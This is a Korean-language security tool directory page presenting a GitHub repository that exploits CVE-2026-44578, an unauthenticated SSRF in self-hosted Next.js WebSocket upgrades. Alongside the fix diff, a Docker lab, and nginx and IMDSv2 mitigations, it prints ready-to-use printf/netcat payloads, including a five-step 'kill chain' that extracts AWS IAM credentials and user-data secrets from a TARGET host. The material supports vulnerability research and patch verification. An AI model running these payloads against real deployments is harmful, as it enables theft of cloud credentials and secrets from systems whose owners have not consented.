Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket 업그레이드 SSRF — localhost:80을 통한 사전 인증 자격 증명 탈취. 실습 + 익스플로잇 + 감사. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-44578
Vulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket 업그레이드 SSRF — localhost:80을 통한 사전 인증 자격 증명 탈취. 실습 + 익스플로잇 + 감사.

저장소 보기
923개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44578 — Next.js WebSocket 업그레이드 SSRF

Next.js 자체 호스팅 배포 환경에서 인증 없이 악용 가능한 서버 측 요청 위조(SSRF) 취약점입니다.
단 하나의 조작된 HTTP 요청으로 localhost:80에서 AWS 자격 증명, 비밀값, 내부 서비스 데이터를 탈취할 수 있습니다.

필드값
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
유형SSRF (CWE-918)
영향받는 버전Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (자체 호스팅만 해당)
수정 버전15.5.16, 16.2.5
인증 필요없음
사용자 상호작용없음

취약점

router-server.ts의 WebSocket 업그레이드 핸들러는 parsedUrl.protocol이 truthy일 때마다 proxyRequest()를 호출합니다. HTTP 핸들러가 항상 적용하던 finished 및 statusCode 라우팅 완료 플래그는 확인하지 않습니다.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

normalizeRepeatedSlashes가 http:///를 http:/로 축약하면 hostname이 null이 되고, http-proxy는 올바른 경로로 localhost:80에 연결합니다. 동일 위치에 있는 모든 서비스(클라우드 메타데이터, 관리자 패널, 내부 API)가 노출됩니다.


익스플로잇 명령어

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl은 절대형(absolute-form) URI를 전송할 수 없습니다. 원시 TCP(nc, ncat, socat, Python 소켓)를 사용하세요.


작동 원리

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

실습 재현

사전 요구사항

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

설정

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

이 명령은 5개의 컨테이너를 시작합니다:

IMDS 사이드카는 network_mode: "service:nextjs-*"를 사용하여 가짜 메타데이터 서비스가 Next.js 컨테이너 내부의 localhost:80에 위치하게 합니다. 실제 클라우드 인스턴스를 모델링한 구성입니다.

익스플로잇 실행

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

정리

root@kitploit:~
./teardown.sh

증거

1. 실습 환경 실행

모든 컨테이너가 가동 중입니다. 취약 버전(15.5.15)은 :3000, 패치 버전(15.5.16)은 :3001에서 실행 중이며, IMDS 사이드카가 네트워크 네임스페이스를 공유합니다.

실습 환경 실행

2. SSRF — AWS 메타데이터 목록

단일 요청으로 전체 EC2 메타데이터 디렉터리(ami-id, instance-id, iam/, placement/ 등)를 반환합니다.

메타데이터 목록

3. SSRF — IAM 자격 증명 추출

전체 IAM 자격 증명 세트인 AccessKeyId, SecretAccessKey, Token, Expiration을 반환합니다.

IAM 자격 증명

4. SSRF — User-Data 비밀값

DB_PASSWORD와 API_KEY가 포함된 EC2 user-data 부트스트랩 스크립트입니다.

User-Data 비밀값

5. SSRF — 인스턴스 ID

동일한 SSRF 경로를 통해 인스턴스 ID를 추출합니다.

인스턴스 ID

6. 패치된 인스턴스 — 차단됨

Next.js 15.5.16에 동일한 페이로드를 전송했습니다. 연결이 즉시 종료되며 데이터가 반환되지 않습니다.

패치 버전 차단

7. IMDS 로그 — 서버 측 실행 증거

가짜 IMDS 로그에 127.0.0.1(Next.js 프로세스)에서 도착한 GET 요청이 기록되어 SSRF가 서버 측에서 발생함을 입증합니다.

IMDS 로그

8. 전체 PoC 스위트 — 취약 버전 (7/7 확인됨)

취약 인스턴스에서 7개 SSRF 테스트 모두 민감한 데이터를 반환합니다.

전체 스위트 취약 버전

9. 전체 PoC 스위트 — 패치 버전 (0/7 차단됨)

패치된 인스턴스에서는 7개 테스트가 모두 차단되었습니다. 수정이 확인되었습니다.

전체 스위트 패치 버전


킬 체인 페이로드

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

T를 대상 호스트로, ROLE을 IAM 역할 이름으로 교체하세요.


제약 사항


탐지 및 완화

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

AWS에서는 IMDSv2(HttpTokens=required)를 강제하세요.

로그 시그니처:

  • Failed to proxy http:/ — 프록시가 트리거되었지만 대상에 연결할 수 없음
  • http:///path 변형은 오류 로그를 생성하지 않음 — 요청 라인에 http:가 포함된 WebSocket 업그레이드를 모니터링하세요

참고 자료


면책 조항

승인된 보안 테스트, 교육, 방어적 연구 목적으로만 사용하십시오. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에만 사용하세요.

도구 다운로드
컨테이너역할노출 주소
nextjs-vulnNext.js 15.5.15 (취약 버전)localhost:3000
nextjs-fixedNext.js 15.5.16 (패치 버전)localhost:3001
imds-sidecar-vuln취약 컨테이너와 네트워크를 공유하는 가짜 AWS IMDSv1localhost:80 (취약 컨테이너 기준)
imds-sidecar-fixed패치 컨테이너와 네트워크를 공유하는 가짜 AWS IMDSv1localhost:80 (패치 컨테이너 기준)
internal-api내부 서비스 모의 구현—
제한 사항세부 내용
HTTP 메서드GET만 가능
대상localhost:80 (정규화로 hostname이 제거됨)
AWS IMDSv2악용 불가 (PUT 필요)
GCP 메타데이터악용 불가 (Upgrade 헤더 거부)
Vercel 호스팅영향 없음
리버스 프록시 뒤nginx/Caddy/HAProxy가 절대형 URI를 차단
출처링크
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
수정 커밋https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian 분석 글https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
공개 PoC (nextssrf)https://github.com/ynsmroztas/nextssrf